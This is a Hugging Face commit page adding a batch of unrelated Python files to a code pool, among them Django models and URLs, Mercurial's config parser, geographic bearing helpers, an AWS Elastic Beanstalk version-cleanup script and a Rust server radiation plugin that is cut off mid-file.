Pendigard commited on
Commit
bd60a0e
·
verified ·
1 Parent(s): 0fa7358

Upload folder using huggingface_hub (part 98)

Browse files
This view is limited to 50 files because it contains too many changes.   See raw diff
Files changed (50) hide show
  1. pool/shard008/Python/0078791_models.py +50 -0
  2. pool/shard008/Python/0078793_config.py +159 -0
  3. pool/shard008/Python/0078797_urls.py +44 -0
  4. pool/shard008/Python/0078798_acessarDBsurfers.py +16 -0
  5. pool/shard008/Python/0078801_list2.py +87 -0
  6. pool/shard008/Python/0078802_tools.py +96 -0
  7. pool/shard008/Python/0078804_config.py +30 -0
  8. pool/shard008/Python/0078805_aws-clean-eb-versions.py +95 -0
  9. pool/shard008/Python/0078807_radline.py +198 -0
  10. pool/shard008/Python/0078812_InputStream.py +107 -0
  11. pool/shard008/Python/0078815_dissimilarity_mtx_stats.py +89 -0
  12. pool/shard008/Python/0078816_cmgraphite.py +109 -0
  13. pool/shard008/Python/0078819_context.py +145 -0
  14. pool/shard008/Python/0078821_0001_initial.py +27 -0
  15. pool/shard008/Python/0078823_timeout.py +38 -0
  16. pool/shard008/Python/0078829_processutils.py +267 -0
  17. pool/shard008/Python/0078831_client.py +132 -0
  18. pool/shard008/Python/0078832_thumbnails.py +67 -0
  19. pool/shard008/Python/0078837_zinc_analysis.py +79 -0
  20. pool/shard008/Python/0078842_factory.py +170 -0
  21. pool/shard008/Python/0078844_createPythonInit.py +17 -0
  22. pool/shard008/Python/0078845_drawing.py +120 -0
  23. pool/shard008/Python/0078846_Logger.py +100 -0
  24. pool/shard008/Python/0078847_spidermonkify.py +69 -0
  25. pool/shard008/Python/0078851_urls.py +19 -0
  26. pool/shard008/Python/0078855_medianfilter.py +24 -0
  27. pool/shard008/Python/0078856_user_resource_permission.py +44 -0
  28. pool/shard008/Python/0078857_flatbutton.py +35 -0
  29. pool/shard008/Python/0078858_test_csrf.py +109 -0
  30. pool/shard008/Python/0078859_GED.py +37 -0
  31. pool/shard008/Python/0078869_checks.py +78 -0
  32. pool/shard008/Python/0078871_handlers.py +40 -0
  33. pool/shard008/Python/0078878_rpt_base.py +112 -0
  34. pool/shard008/Python/0078880_lines.py +80 -0
  35. pool/shard008/Python/0078884_test_transaction.py +25 -0
  36. pool/shard008/Python/0078889_hassourcenoteregexp.py +61 -0
  37. pool/shard008/Python/0078897_module1.py +83 -0
  38. pool/shard008/Python/0078901_vhost-maker.py +51 -0
  39. pool/shard008/Python/0078903_image_widget.py +154 -0
  40. pool/shard008/Python/0078906_app.py +153 -0
  41. pool/shard008/Python/0078907_test_lib_gis.py +92 -0
  42. pool/shard008/Python/0078917_feed_parse_extractWhiteCherryblBlogspotCom.py +22 -0
  43. pool/shard008/Python/0078929_bashi.py +39 -0
  44. pool/shard008/Python/0078936_service.py +159 -0
  45. pool/shard008/Python/0078937_glacier.py +108 -0
  46. pool/shard008/Python/0078938_newsource.py +279 -0
  47. pool/shard008/Python/0078939_wikimedia_sites.py +108 -0
  48. pool/shard008/Python/0078943_cli.py +33 -0
  49. pool/shard008/Python/0078947_module_nugget.py +93 -0
  50. pool/shard008/Python/0078948_series_cov.py +40 -0
pool/shard008/Python/0078791_models.py ADDED
@@ -0,0 +1,50 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ from django.db import models
2
+
3
+ class Blueprint(models.Model):
4
+ name = models.CharField(max_length=30)
5
+
6
+ class MineBlueprint(models.Model):
7
+ name = models.CharField(max_length=30, unique=True)
8
+ max_output_rate = models.FloatField()
9
+ output = models.IntegerField()
10
+ max_capacity = models.FloatField()
11
+
12
+ def __str__(self):
13
+ return self.name
14
+
15
+ class FactoryBlueprint(models.Model):
16
+ name = models.CharField(max_length=30, unique=True)
17
+ max_output_rate = models.FloatField()
18
+ output = models.IntegerField()
19
+ max_capacity = models.FloatField()
20
+
21
+ def __str__(self):
22
+ return self.name
23
+
24
+ class ResourceType(models.Model):
25
+ name = models.CharField(max_length=30, unique=True)
26
+ requirements = models.ForeignKey('Resources', blank=True, null=True)
27
+
28
+ def __str__(self):
29
+ return self.name
30
+
31
+ class Mine(models.Model):
32
+ name = models.CharField(max_length=30, unique=True)
33
+ all_resources = models.ForeignKey('Resources')
34
+ coordinates = models.ForeignKey('Coordinates')
35
+ blueprint = models.IntegerField()
36
+ production_level = models.FloatField()
37
+
38
+ def __str__(self):
39
+ return self.name
40
+
41
+ class Coordinates(models.Model):
42
+ x = models.FloatField()
43
+ y = models.FloatField()
44
+
45
+ class Resource(models.Model):
46
+ amount = models.FloatField()
47
+ resource_type = models.ForeignKey('ResourceType')
48
+
49
+ class Resources(models.Model):
50
+ all_resources = models.ManyToManyField('Resource')
pool/shard008/Python/0078793_config.py ADDED
@@ -0,0 +1,159 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ # config.py - configuration parsing for Mercurial
2
+ #
3
+ # Copyright 2009 Matt Mackall <mpm@selenic.com> and others
4
+ #
5
+ # This software may be used and distributed according to the terms of the
6
+ # GNU General Public License version 2 or any later version.
7
+
8
+ from i18n import _
9
+ import error, util
10
+ import os, errno
11
+
12
+ class config(object):
13
+ def __init__(self, data=None):
14
+ self._data = {}
15
+ self._source = {}
16
+ self._unset = []
17
+ if data:
18
+ for k in data._data:
19
+ self._data[k] = data[k].copy()
20
+ self._source = data._source.copy()
21
+ def copy(self):
22
+ return config(self)
23
+ def __contains__(self, section):
24
+ return section in self._data
25
+ def __getitem__(self, section):
26
+ return self._data.get(section, {})
27
+ def __iter__(self):
28
+ for d in self.sections():
29
+ yield d
30
+ def update(self, src):
31
+ for s, n in src._unset:
32
+ if s in self and n in self._data[s]:
33
+ del self._data[s][n]
34
+ del self._source[(s, n)]
35
+ for s in src:
36
+ if s not in self:
37
+ self._data[s] = util.sortdict()
38
+ self._data[s].update(src._data[s])
39
+ self._source.update(src._source)
40
+ def get(self, section, item, default=None):
41
+ return self._data.get(section, {}).get(item, default)
42
+
43
+ def backup(self, section, item):
44
+ """return a tuple allowing restore to reinstall a previous value
45
+
46
+ The main reason we need it is because it handles the "no data" case.
47
+ """
48
+ try:
49
+ value = self._data[section][item]
50
+ source = self.source(section, item)
51
+ return (section, item, value, source)
52
+ except KeyError:
53
+ return (section, item)
54
+
55
+ def source(self, section, item):
56
+ return self._source.get((section, item), "")
57
+ def sections(self):
58
+ return sorted(self._data.keys())
59
+ def items(self, section):
60
+ return self._data.get(section, {}).items()
61
+ def set(self, section, item, value, source=""):
62
+ if section not in self:
63
+ self._data[section] = util.sortdict()
64
+ self._data[section][item] = value
65
+ if source:
66
+ self._source[(section, item)] = source
67
+
68
+ def restore(self, data):
69
+ """restore data returned by self.backup"""
70
+ if len(data) == 4:
71
+ # restore old data
72
+ section, item, value, source = data
73
+ self._data[section][item] = value
74
+ self._source[(section, item)] = source
75
+ else:
76
+ # no data before, remove everything
77
+ section, item = data
78
+ if section in self._data:
79
+ self._data[section].pop(item, None)
80
+ self._source.pop((section, item), None)
81
+
82
+ def parse(self, src, data, sections=None, remap=None, include=None):
83
+ sectionre = util.re.compile(r'\[([^\[]+)\]')
84
+ itemre = util.re.compile(r'([^=\s][^=]*?)\s*=\s*(.*\S|)')
85
+ contre = util.re.compile(r'\s+(\S|\S.*\S)\s*$')
86
+ emptyre = util.re.compile(r'(;|#|\s*$)')
87
+ commentre = util.re.compile(r'(;|#)')
88
+ unsetre = util.re.compile(r'%unset\s+(\S+)')
89
+ includere = util.re.compile(r'%include\s+(\S|\S.*\S)\s*$')
90
+ section = ""
91
+ item = None
92
+ line = 0
93
+ cont = False
94
+
95
+ for l in data.splitlines(True):
96
+ line += 1
97
+ if line == 1 and l.startswith('\xef\xbb\xbf'):
98
+ # Someone set us up the BOM
99
+ l = l[3:]
100
+ if cont:
101
+ if commentre.match(l):
102
+ continue
103
+ m = contre.match(l)
104
+ if m:
105
+ if sections and section not in sections:
106
+ continue
107
+ v = self.get(section, item) + "\n" + m.group(1)
108
+ self.set(section, item, v, "%s:%d" % (src, line))
109
+ continue
110
+ item = None
111
+ cont = False
112
+ m = includere.match(l)
113
+ if m:
114
+ inc = util.expandpath(m.group(1))
115
+ base = os.path.dirname(src)
116
+ inc = os.path.normpath(os.path.join(base, inc))
117
+ if include:
118
+ try:
119
+ include(inc, remap=remap, sections=sections)
120
+ except IOError, inst:
121
+ if inst.errno != errno.ENOENT:
122
+ raise error.ParseError(_("cannot include %s (%s)")
123
+ % (inc, inst.strerror),
124
+ "%s:%s" % (src, line))
125
+ continue
126
+ if emptyre.match(l):
127
+ continue
128
+ m = sectionre.match(l)
129
+ if m:
130
+ section = m.group(1)
131
+ if remap:
132
+ section = remap.get(section, section)
133
+ if section not in self:
134
+ self._data[section] = util.sortdict()
135
+ continue
136
+ m = itemre.match(l)
137
+ if m:
138
+ item = m.group(1)
139
+ cont = True
140
+ if sections and section not in sections:
141
+ continue
142
+ self.set(section, item, m.group(2), "%s:%d" % (src, line))
143
+ continue
144
+ m = unsetre.match(l)
145
+ if m:
146
+ name = m.group(1)
147
+ if sections and section not in sections:
148
+ continue
149
+ if self.get(section, name) is not None:
150
+ del self._data[section][name]
151
+ self._unset.append((section, name))
152
+ continue
153
+
154
+ raise error.ParseError(l.rstrip(), ("%s:%s" % (src, line)))
155
+
156
+ def read(self, path, fp=None, sections=None, remap=None):
157
+ if not fp:
158
+ fp = util.posixfile(path)
159
+ self.parse(path, fp.read(), sections, remap, self.read)
pool/shard008/Python/0078797_urls.py ADDED
@@ -0,0 +1,44 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ """
2
+
3
+ URLs for blog app
4
+
5
+ """
6
+
7
+ import os
8
+ from django.contrib import admin
9
+ from django.views.generic import TemplateView
10
+ from django.conf.urls import *
11
+ from rest_framework.urlpatterns import format_suffix_patterns
12
+ import api_views
13
+
14
+ api_urlpatterns = patterns('blog.api_views',
15
+ url(r'^$', 'api_root'),
16
+ url(r'^posts$', api_views.PostGenericList.as_view(), name='post-list'),
17
+ url(r'^posts/tag/(?P<tag>.+)$', api_views.TagGenericList.as_view(), name='tag'),
18
+ url(r'^posts/search/(?P<search_terms>.+)$', api_views.SearchGenericList.as_view(), name='search'),
19
+ url(r'^posts/user/(?P<username>.+)$', api_views.UserGenericList.as_view(), name='user'),
20
+ url(r'^posts/(?P<pk>[0-9]+)/comments$', api_views.CommentsGenericDetail.as_view(), name='comments'),
21
+ url(r'^posts/(?P<pk>.+)$', api_views.PostGenericDetail.as_view(), name='post-detail'),
22
+ url(r'^siteactivities$', api_views.SiteActivityGenericList.as_view(), name='site-activities'),
23
+ url(r'^siteactivities/(?P<timestamp>[0-9]+)$', api_views.SiteActivityGenericList.as_view(), name='site-activities'),
24
+ url(r'^alltags$', 'all_tags', name='all-tags'),
25
+ )
26
+
27
+ api_urlpatterns = format_suffix_patterns(api_urlpatterns)
28
+
29
+ urlpatterns = patterns(r'blog.views',
30
+ (r'^$', 'home_view'),
31
+ (r'^post/comment/(?P<post_id>.+)/(?P<permalink>.+)$', 'post_view'),
32
+ (r'^post/(?P<post_id>.+)/(?P<permalink>.+)$', 'post_view'),
33
+ (r'^post/(?P<permalink>.+)$', 'post_view'),
34
+ (r'^tag/(?P<tag_name>.+)$', 'tag_view'),
35
+ (r'^login$', 'login_view'),
36
+ (r'^logout$', 'logout_view'),
37
+ (r'^register$', 'register_view'),
38
+ (r'^create_post$', 'create_post_view' ),
39
+ (r'^delete_post/(?P<post_id>.+)$', 'delete_post_view' ),
40
+ (r'^edit_post/(?P<post_id>.+)$', 'edit_post_view' ),
41
+ (r'^search/$', 'search_view' ),
42
+ (r'^load_posts/$', 'load_posts_view' ),
43
+ (r'^api/', include(api_urlpatterns))
44
+ )
pool/shard008/Python/0078798_acessarDBsurfers.py ADDED
@@ -0,0 +1,16 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ import sqlite3
2
+ con = sqlite3.connect('surfersDB.sbd')
3
+ cur = con.cursor()
4
+
5
+ #cur.execute('''insert into surfers values("Felipe Souza", "Brazil", 9.5, "Free style", 30)''')
6
+ #cur.execute('''insert into surfers values("Lucas Souza", "Brazil", 7.5, "Free style", 13)''')
7
+ #cur.execute('''insert into surfers values("Danielle Souza", "Brazil", 8.5, "Free style", 32)''')
8
+ cur.execute('''select * from surfers''')
9
+ cur.execute('''select * from surfers where age > 10 order by average desc''')
10
+
11
+ for x in cur.fetchall():
12
+ print(x)
13
+
14
+ cur.close()
15
+ con.commit()
16
+ con.close()
pool/shard008/Python/0078801_list2.py ADDED
@@ -0,0 +1,87 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ #!/usr/bin/python -tt
2
+ # Copyright 2010 Google Inc.
3
+ # Licensed under the Apache License, Version 2.0
4
+ # http://www.apache.org/licenses/LICENSE-2.0
5
+
6
+ # Google's Python Class
7
+ # http://code.google.com/edu/languages/google-python-class/
8
+
9
+ # Additional basic list exercises
10
+
11
+ # D. Given a list of numbers, return a list where
12
+ # all adjacent == elements have been reduced to a single element,
13
+ # so [1, 2, 2, 3] returns [1, 2, 3]. You may create a new list or
14
+ # modify the passed in list.
15
+ def remove_adjacent(nums):
16
+ # +++your code here+++
17
+ result = []
18
+ for num in nums:
19
+ if len(result) == 0 or num != result[-1]:
20
+ result.append(num)
21
+
22
+
23
+ return result
24
+
25
+
26
+ # E. Given two lists sorted in increasing order, create and return a merged
27
+ # list of all the elements in sorted order. You may modify the passed in lists.
28
+ # Ideally, the solution should work in "linear" time, making a single
29
+ # pass of both lists.
30
+ def linear_merge(list1, list2):
31
+ # +++your code here+++
32
+ comboList = []
33
+ while len(list1) and len(list2) > 0:
34
+ if list1[0] < list2[0]:
35
+ comboList.append(list1.pop(0))
36
+ else:
37
+ comboList.append(list2.pop(0))
38
+
39
+ # while(comboListSize > 0):
40
+ # if list1[list1pt] <= list2[list2pt]:
41
+ # comboList.append(list1[list1pt])
42
+ # list1pt += 1
43
+ # else:
44
+ # comboList.append(list2[list2pt])
45
+ # list2pt += 1
46
+ # comboListSize -= 1
47
+
48
+ return comboList + list1 + list2
49
+
50
+ # Note: the solution above is kind of cute, but unforunately list.pop(0)
51
+ # is not constant time with the standard python list implementation, so
52
+ # the above is not strictly linear time.
53
+ # An alternate approach uses pop(-1) to remove the endmost elements
54
+ # from each list, building a solution list which is backwards.
55
+ # Then use reversed() to put the result back in the correct order. That
56
+ # solution works in linear time, but is more ugly.
57
+
58
+
59
+ # Simple provided test() function used in main() to print
60
+ # what each function returns vs. what it's supposed to return.
61
+ def test(got, expected):
62
+ if got == expected:
63
+ prefix = ' OK '
64
+ else:
65
+ prefix = ' X '
66
+ print '%s got: %s expected: %s' % (prefix, repr(got), repr(expected))
67
+
68
+
69
+ # Calls the above functions with interesting inputs.
70
+ def main():
71
+ print 'remove_adjacent'
72
+ test(remove_adjacent([1, 2, 2, 3]), [1, 2, 3])
73
+ test(remove_adjacent([2, 2, 3, 3, 3]), [2, 3])
74
+ test(remove_adjacent([]), [])
75
+
76
+ print
77
+ print 'linear_merge'
78
+ test(linear_merge(['aa', 'xx', 'zz'], ['bb', 'cc']),
79
+ ['aa', 'bb', 'cc', 'xx', 'zz'])
80
+ test(linear_merge(['aa', 'xx'], ['bb', 'cc', 'zz']),
81
+ ['aa', 'bb', 'cc', 'xx', 'zz'])
82
+ test(linear_merge(['aa', 'aa'], ['aa', 'bb', 'bb']),
83
+ ['aa', 'aa', 'aa', 'bb', 'bb'])
84
+
85
+
86
+ if __name__ == '__main__':
87
+ main()
pool/shard008/Python/0078802_tools.py ADDED
@@ -0,0 +1,96 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ #!/usr/bin/env python
2
+ #-*- coding:utf-8 -*-
3
+
4
+ """
5
+ Tools
6
+
7
+
8
+ http://en.wikipedia.org/wiki/Haversine_formula
9
+
10
+ ToDo: ToFix / ToTest
11
+
12
+ """
13
+
14
+ import math
15
+
16
+ def waypoint_bearing(lat1, lon1, lat2, lon2):
17
+ """
18
+ Calculates the bearing between 2 locations.
19
+
20
+ Method calculates the bearing between 2 locations.
21
+
22
+ @param lon1 First point longitude.
23
+ @param lat1 First point latitude.
24
+ @param lon2 Second point longitude.
25
+ @param lat2 Second point latitude.
26
+
27
+ @return The bearing between 2 locations.
28
+ """
29
+
30
+
31
+ longitude1 = math.radians(lon1)
32
+ latitude1 = math.radians(lat1)
33
+ longitude2 = math.radians(lon2)
34
+ latitude2 = math.radians(lat2)
35
+
36
+ clat1 = math.cos(latitude1)
37
+ clat2 = math.cos(latitude2)
38
+ dlon = longitude2 - longitude1
39
+
40
+ y = math.sin(dlon) * clat2
41
+ x = clat1 * math.sin(latitude2) - math.sin(latitude1) * clat2 * math.cos(dlon)
42
+
43
+ if x==0 and y==0:
44
+ return(0.0)
45
+ else:
46
+ return((360 + math.degrees(math.atan2(y, x)) + 0.5) % 360.0)
47
+
48
+
49
+ def haversine_bearing(lat1, lon1, lat2, lon2):
50
+ """
51
+ Calculate the bearing from 1 point to 1 other
52
+ on the earth (specified in decimal degrees)
53
+ """
54
+ # convert decimal degrees to radians
55
+ lat1, lon1, lat2, lon2 = map(math.radians, [lat1, lon1, lat2, lon2])
56
+
57
+ dlon = lon2 - lon1
58
+
59
+ b = math.atan2(math.sin(dlon) * math.cos(lat2),
60
+ math.cos(lat1) * math.sin(lat2)
61
+ - math.sin(lat1) * math.cos(lat2) * math.cos(dlon)) # bearing calc
62
+
63
+ bd = math.degrees(b)
64
+
65
+ br, bn = divmod(bd + 360, 360) # the bearing remainder and final bearing
66
+
67
+ return bn
68
+
69
+ def haversine_distance(lat1, lon1, lat2, lon2):
70
+ """
71
+ Calculate the great circle distance between two points
72
+ on the earth (specified in decimal degrees)
73
+ """
74
+ # convert decimal degrees to radians
75
+ lat1, lon1, lat2, lon2 = map(math.radians, [lat1, lon1, lat2, lon2])
76
+
77
+ # haversine formula
78
+ dlon = lon2 - lon1
79
+ dlat = lat2 - lat1
80
+ a = math.sin(dlat/2)**2 + math.cos(lat1) * math.cos(lat2) * math.sin(dlon/2)**2
81
+ c = 2 * math.asin(math.sqrt(a))
82
+ r = 6371.0 # Radius of earth in kilometers. Use 3956 for miles
83
+ return(c * r)
84
+
85
+ def main():
86
+ # Just some tests (should be removed)
87
+
88
+ (lon1, lat1, lon2, lat2) = (45.0, 1.0, 45.5, 2.0)
89
+
90
+ bearing = waypoint_bearing(lon1, lat1, lon2, lat2)
91
+ print(bearing)
92
+ bearing = haversine_bearing(lon1, lat1, lon2, lat2)
93
+ print(bearing)
94
+
95
+ if __name__ == '__main__':
96
+ main()
pool/shard008/Python/0078804_config.py ADDED
@@ -0,0 +1,30 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ import os
2
+ basedir = os.path.abspath(os.path.dirname(__file__))
3
+
4
+
5
+ class Config:
6
+ SQLALCHEMY_COMMIT_ON_TEARDOWN = True
7
+ SECRET_KEY = os.environ.get('SECRET_KEY') or 'something something'
8
+ VOICERSS_API_KEY = os.environ.get('VOICERSS_API_KEY')
9
+
10
+ @staticmethod
11
+ def init_app(app):
12
+ pass
13
+
14
+
15
+ class TestConfig(Config):
16
+ TESTING = True
17
+ LOG_FILE = os.path.join(basedir, 'pi-o-clock-test.log')
18
+ DB_FILE = os.path.join(basedir, 'pi-o-clock-test.sqlite')
19
+ SQLALCHEMY_DATABASE_URI = 'sqlite:///' + DB_FILE
20
+
21
+
22
+ class ProductionConfig(Config):
23
+ LOG_FILE = os.path.join(basedir, 'pi-o-clock.log')
24
+ DB_FILE = os.path.join(basedir, 'pi-o-clock.sqlite')
25
+ SQLALCHEMY_DATABASE_URI = 'sqlite:///' + DB_FILE
26
+
27
+ config = {
28
+ 'test': TestConfig,
29
+ 'production': ProductionConfig,
30
+ }
pool/shard008/Python/0078805_aws-clean-eb-versions.py ADDED
@@ -0,0 +1,95 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ #!/usr/bin/env python3
2
+
3
+ import argparse
4
+ import sys
5
+ import logging
6
+ import boto3
7
+
8
+ client = boto3.client("elasticbeanstalk")
9
+
10
+ # Fix Python 2.x.
11
+ try: input = raw_input
12
+ except NameError: pass
13
+
14
+ # get list of currently deployed versions for each app
15
+ def get_deployed_versions():
16
+ res = {}
17
+ environments = client.describe_environments()
18
+ for env in environments["Environments"]:
19
+ try:
20
+ if env["ApplicationName"] in res:
21
+ res[env["ApplicationName"]].append(env["VersionLabel"])
22
+ else:
23
+ res[env["ApplicationName"]] = [env["VersionLabel"]]
24
+ except KeyError:
25
+ pass
26
+ return res
27
+
28
+ # get list of app versions per app
29
+ def get_versions_per_app():
30
+ res = {}
31
+ versions = client.describe_application_versions()
32
+ # sort by date
33
+ versions = sorted(versions["ApplicationVersions"], key=lambda x: x["DateCreated"], reverse=True)
34
+ for v in versions:
35
+ try:
36
+ if v["ApplicationName"] in res:
37
+ res[v["ApplicationName"]].append( v["VersionLabel"] )
38
+ else:
39
+ res[v["ApplicationName"]] = [v["VersionLabel"]]
40
+ except KeyError:
41
+ pass
42
+ return res
43
+
44
+ def get_deleted_versions(deployed_versions, app_versions, keep_versions):
45
+ res = app_versions[:]
46
+ res = list( set(res) - set(deployed_versions) )
47
+ return res[keep_versions - 1 :]
48
+
49
+ def get_kept_versions(deployed_versions, app_versions, keep_versions):
50
+ res = app_versions[:]
51
+ res = res[0:keep_versions]
52
+ res = list( set(res) | set(deployed_versions) )
53
+ return res
54
+
55
+ def delete_version(version, app):
56
+ client.delete_application_version(
57
+ ApplicationName=app,
58
+ VersionLabel=version,
59
+ DeleteSourceBundle=True
60
+ )
61
+
62
+ def main():
63
+
64
+ parser = argparse.ArgumentParser(
65
+ description="Delete old EB application versions",
66
+ epilog="Copyright (C) 2017 Kamil Zegier <kamilzegier@gmail.com>")
67
+ parser.add_argument("-k", "--keep-versions", action="store", default=10, type=int, help="How many versions should we keep for each environment")
68
+ parser.add_argument("-f", "--force", action="store_true", help="Force delete, dont ask for each application")
69
+ parser.add_argument("-v", "--version", help="Print version", action="version", version="%(prog)s 1.0")
70
+ args = parser.parse_args()
71
+
72
+ deployed_versions = get_deployed_versions()
73
+ app_versions = get_versions_per_app()
74
+
75
+ for app in app_versions:
76
+ versions_to_keep = get_kept_versions(deployed_versions[app], app_versions[app], args.keep_versions)
77
+ versions_to_delete = get_deleted_versions(deployed_versions[app], app_versions[app], args.keep_versions)
78
+ if len(versions_to_delete) == 0:
79
+ print("%s - Nothing to delete" % app)
80
+ continue
81
+ print("%s - %s versions will remain. %s versions will be deleted" % ( app, len(versions_to_keep), len(versions_to_delete) ) )
82
+ if args.force:
83
+ userInput = "y"
84
+ else:
85
+ print("Are you sure you want to delete? (Y/N)")
86
+ userInput = input(':')
87
+ if userInput.lower() == "y":
88
+ for version in versions_to_delete:
89
+ delete_version(version, app)
90
+ print ("Deleted version %s", (version) )
91
+
92
+ if __name__ == "__main__":
93
+ main()
94
+
95
+ # vim: tabstop=4 expandtab shiftwidth=4 softtabstop=4 smarttab
pool/shard008/Python/0078807_radline.py ADDED
@@ -0,0 +1,198 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ import Rust
2
+ import server
3
+ from UnityEngine import Time
4
+
5
+ # GLOBAL VARIABLES
6
+ DEV = False
7
+ LATEST_CFG = 2.0
8
+ LINE = '-' * 50
9
+
10
+ class radline:
11
+
12
+ # ==========================================================================
13
+ # <>> PLUGIN
14
+ # ==========================================================================
15
+ def __init__(self):
16
+
17
+ # PLUGIN INFO
18
+ self.Title = 'Rad Line'
19
+ self.Author = 'SkinN'
20
+ self.Description = 'Turns off radiation for a while from time to time'
21
+ self.Version = V(1, 1, 0)
22
+ self.HasConfig = True
23
+ self.ResourceId = 914
24
+
25
+ # ==========================================================================
26
+ # <>> CONFIGURATION
27
+ # ==========================================================================
28
+ def LoadDefaultConfig(self):
29
+
30
+ self.Config = {
31
+ 'CONFIG_VERSION': LATEST_CFG,
32
+ 'SETTINGS': {
33
+ 'PREFIX': self.Title.upper(),
34
+ 'OFF TIME': 10,
35
+ 'INTERVAL': 30
36
+ },
37
+ 'MESSAGES': {
38
+ 'RAD OFF': 'RADIATION LEVELS ARE DOWN FOR {offtime} MINUTES!',
39
+ 'RAD ON': 'RADIATION LEVELS ARE BACK UP! Will be down again in {interval} minutes.',
40
+ 'STATE ON': 'Radiation levels will be down in {remaining} minutes.',
41
+ 'STATE OFF': 'Radiation levels are now down!',
42
+ 'RAD COMMAND DESC': '/rad - Shows the current state of radiation, whether is on or off'
43
+ },
44
+ 'COLORS': {
45
+ 'PREFIX': 'red',
46
+ 'MESSAGES': 'lime'
47
+ }
48
+ }
49
+
50
+ self.console('Loading default configuration file', True)
51
+
52
+ # --------------------------------------------------------------------------
53
+ def UpdateConfig(self):
54
+
55
+ # IS OLDER CONFIG TWO VERSIONS OLDER?
56
+ if self.Config['CONFIG_VERSION'] <= LATEST_CFG - 0.2 or DEV:
57
+
58
+ self.console('Current configuration file is two or more versions older than the latest (Current: v%s / Latest: v%s)' % (self.Config['CONFIG_VERSION'], LATEST_CFG), True)
59
+
60
+ # RESET CONFIGURATION
61
+ self.Config.clear()
62
+
63
+ # RESET CONFIGURATION
64
+ self.LoadDefaultConfig()
65
+
66
+ else:
67
+
68
+ # NEW VERSION VALUE
69
+ self.Config['CONFIG_VERSION'] = LATEST_CFG
70
+
71
+ # NEW CHANGES
72
+
73
+ # SAVE CHANGES
74
+ self.SaveConfig()
75
+
76
+ # ==========================================================================
77
+ # <>> PLUGIN SPECIFIC
78
+ # ==========================================================================
79
+ def Init(self):
80
+
81
+ self.console('Loading Plugin')
82
+ self.console(LINE)
83
+
84
+ # UPDATE CONFIG FILE
85
+ if self.Config['CONFIG_VERSION'] < LATEST_CFG or DEV:
86
+
87
+ self.UpdateConfig()
88
+
89
+ # PLUGIN SPECIFIC
90
+ global PLUGIN, MSG, COLOR
91
+ MSG = self.Config['MESSAGES']
92
+ COLOR = self.Config['COLORS']
93
+ PLUGIN = self.Config['SETTINGS']
94
+
95
+ self.prefix = '<color=%s>%s</color>' % (self.Config['COLORS']['PREFIX'], PLUGIN['PREFIX']) if PLUGIN['PREFIX'] else None
96
+ self.title = '<color=red>%s</color>' % self.Title.upper()
97
+ self.intstamp = 0
98
+ self.offtime = PLUGIN['OFF TIME'] * 60 if PLUGIN['OFF TIME'] else 600
99
+ self.int = PLUGIN['INTERVAL'] * 60 if PLUGIN['INTERVAL'] else 1800
100
+
101
+ # START EVENT
102
+ self.console('Starting event loop (Interval: %d.%d minute/s)' % divmod(PLUGIN['INTERVAL'] * 60, 60))
103
+ self.loop(True)
104
+
105
+ # COMMANDS
106
+ self.console('Creating /rad command')
107
+ command.AddChatCommand('rad', self.Plugin, 'rad_CMD')
108
+ command.AddChatCommand(self.Title.lower(), self.Plugin, 'plugin_CMD')
109
+
110
+ self.console(LINE)
111
+
112
+ # ==========================================================================
113
+ # <>> MESSAGE FUNTIONS
114
+ # ==========================================================================
115
+ def console(self, text, force=False):
116
+
117
+ print('[%s v%s] :: %s' % (self.Title, str(self.Version), text))
118
+
119
+ # --------------------------------------------------------------------------
120
